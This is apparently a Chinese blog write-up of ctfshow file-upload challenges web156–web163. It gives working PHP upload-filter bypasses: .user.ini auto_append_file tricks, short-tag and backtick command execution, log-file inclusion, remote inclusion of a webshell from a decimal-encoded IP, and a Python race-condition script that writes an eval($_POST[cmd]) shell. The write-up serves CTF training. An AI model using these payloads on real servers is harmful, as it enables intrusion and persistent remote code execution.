[ctfshow]web入门——文件上传(web156-web163)

[ctfshow]web入门——文件上传(web156-web163)

[ctfshow]web入门——文件上传(web156-web163)

[ctfshow]web入门——文件上传

  • [ctfshow]web入门——文件上传(web156-web163)
  • web156
    • 上传.user.ini
  • web157
  • web158
  • web159
  • web160
    • 上传.user.ini+日志包含
  • web161
  • web162
    • way1:远程文件包含
    • way2:session条件竞争包含
  • web163

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ˘ω˘ @)ノ!!


web156

上传.user.ini

上传口

在这里插入图片描述

试了试upload界面有一个默认文件,可以用上传.user.ini的方法
在这里插入图片描述

后台应该是屏蔽了很多字符串(php,eval,post等等),甚至连正常图片都传不上去
试了一下php短标签<? ?>还可以用
先找一下flag在哪
在这里插入图片描述

在这里插入图片描述

然后读flag的内容

<? exec("cat ../flag* > 2.txt");?>

访问/upload/,然后再访问/upload/2.txt,看到flag

在这里插入图片描述


web157

payload同上题,屏蔽了;

<? exec("cat ../flag* > 2.txt")?>

在这里插入图片描述


web158

payload同上题

<? exec("cat ../flag* > 2.txt")?>

在这里插入图片描述


web159

payload同上,括号被屏蔽,用反引号执行命令

<? `cat ../flag* > 2.txt` ?>

在这里插入图片描述


web160

上传.user.ini+日志包含

过滤了反引号和空格,没有办法上传危险的函数了
所以利用include文件包含传🐎
注意log被过滤

<?include"/var/l"."og/nginx/access.lo"."g"?>

在这里插入图片描述

在这里插入图片描述


web161

估计是检测文件头,加个GIF89a?

在这里插入图片描述

然后同上一题用日志包含

<?include"/var/l"."og/nginx/access.lo"."g"?>

在这里插入图片描述


web162

过滤了.,所以不能利用日志包含了,先正常上传.user.ini

123

然后有两种方法

way1:远程文件包含

在这里插入图片描述

因为不能有.所以将IP转换为十进制,我的默认路由就是一句话木马
在这里插入图片描述

如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件
https://www.jianshu.com/p/be68cf9be911

<?=include"http://3024726958"?>

在这里插入图片描述

way2:session条件竞争包含

利用session.upload_progress将木马写入session文件,然后包含这个session文件。
首先在.user.ini包含/tmp/sess_{sessid}

auto_append_file=/tmp/sess_xiao

在这里插入图片描述

import io
import sys
import requests
import threading
host = 'http://6038fed7-c4a1-4d83-98cc-45dba9f44a8d.challenge.ctf.show/'
sessid = 'xiaozS'
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
def READ(session):
    while True:
        response = session.get(f'{host}/upload/')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

呜呜呜条件竞争了好久没成功,不知道为什么


web163

同上用远程文件包含

GIF89a?
auto_append_file=http://6024326456

在这里插入图片描述

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ˘ω˘ @)ノ!!

                       

点击阅读全文

上一篇 2023年 5月 28日 am10:34
下一篇 2023年 5月 28日 am10:35